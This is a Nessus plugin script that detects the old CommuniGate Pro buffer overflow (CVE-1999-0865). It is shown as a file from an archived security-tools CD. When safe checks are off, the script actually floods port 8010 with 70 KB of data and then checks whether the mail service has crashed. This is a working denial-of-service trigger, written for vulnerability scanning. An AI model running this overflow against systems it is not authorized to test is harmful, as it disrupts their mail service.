home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / communigatepro_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  134 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10048);
  10.  script_bugtraq_id(860);
  11.  script_version ("$Revision: 1.16 $");
  12.  script_cve_id("CVE-1999-0865");
  13.  name["english"] = "Communigate Pro overflow";
  14.  name["francais"] = "Overflow de Communigate Pro";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "
  18. It was possible to overflow the remote Communigate
  19. Pro server by :
  20.  
  21.     - connecting to port 8010 and sending
  22.       70Kb of data (AAA[...]AAA) followed
  23.       by a carriage return (\r\n)
  24.       
  25.     - then connecting to port 25
  26.     
  27. An attacker may use this problem to execute arbitrary
  28. code on this system. He can also use this flaw to
  29. prevent you from receiving emails.
  30.  
  31.  
  32. Solution : install version 3.2 or above
  33. Risk factor : High";
  34.  
  35.  
  36.  desc["francais"] = "
  37. Il s'est avΘrΘ possible de faire un overflow dans
  38. le server communigate distant en :
  39.  
  40.     - s'y connectant au port 8010 et en
  41.       y envoyant 70Kb de donnΘes
  42.      
  43.     - puis se connecter au port 25
  44.     
  45. Un pirate peut utiliser ce problΦme pour Θxecuter
  46. du code arbitraire sur ce systΦme. Il peut aussi
  47. l'utiliser pour empecher votre messagerie de fonctionner
  48.  
  49. Solution : Installez la version 3.2 ou plus rΘcente
  50. Facteur de risque : ElevΘ";
  51.  
  52.  script_description(english:desc["english"], francais:desc["francais"]);
  53.  
  54.  summary["english"] = "Crashes the remote service";
  55.  summary["francais"] = "Fait planter le service distant";
  56.  script_summary(english:summary["english"], francais:summary["francais"]);
  57.  
  58.  script_category(ACT_MIXED_ATTACK); # mixed
  59.  
  60.  
  61.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  62.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  63.  family["english"] = "Gain root remotely";
  64.  family["francais"] = "Passer root α distance";
  65.  script_family(english:family["english"], francais:family["francais"]);
  66.  script_dependencie("find_service.nes");
  67.  script_require_ports(8010);
  68.  exit(0);
  69. }
  70.  
  71. #
  72. # The script code starts here
  73. #
  74. include("http_func.inc");
  75.  
  76. if(safe_checks())
  77. {
  78.  banner = get_http_banner(port:8010);
  79.  
  80.  if(banner)
  81.   {
  82.   if(egrep(pattern:"^Server: CommuniGatePro/3\.[0-1]",
  83.         string:banner))
  84.       {
  85.        alrt = "
  86. The remote CommuniGatePro server may be vulnerable
  87. to a buffer overflow which could allow an attacker
  88. to shut this service down.
  89.  
  90. *** Nessus reports this vulnerability using only
  91. *** information that was gathered. Use caution
  92. *** when testing without safe checks enabled.
  93.  
  94. Solution : Upgrade to Communigate 3.2 or newer
  95. Risk factor : High";
  96.        security_hole(port:8010, data:alrt);
  97.       }
  98.   }
  99.  exit(0);
  100. }
  101.  
  102.  
  103. if(get_port_state(8010))
  104. {
  105.  if(get_port_state(25))
  106.  {
  107.  soc25 = open_sock_tcp(25);
  108.  if(soc25)
  109.  {
  110.   r = recv_line(socket:soc25, length:1024);
  111.   if(!r)exit(0);
  112.   close(soc25);
  113.   soc = open_sock_tcp(8010);
  114.   if(soc)
  115.   {
  116.   data = crap(1024);
  117.   end = string("\r\n");
  118.   for(i=0;i<70;i=i+1)
  119.   {
  120.   send(socket:soc, data:data);
  121.   }
  122.   send(socket:soc, data:end);
  123.   r = http_recv(socket:soc);
  124.   close(soc);
  125.  
  126.   soc25 = open_sock_tcp(25);
  127.   rep = recv_line(socket:soc25, length:1024);
  128.   if(!rep)security_hole(8010);
  129.   close(soc25);
  130.    }
  131.   }
  132.  }
  133. }
  134.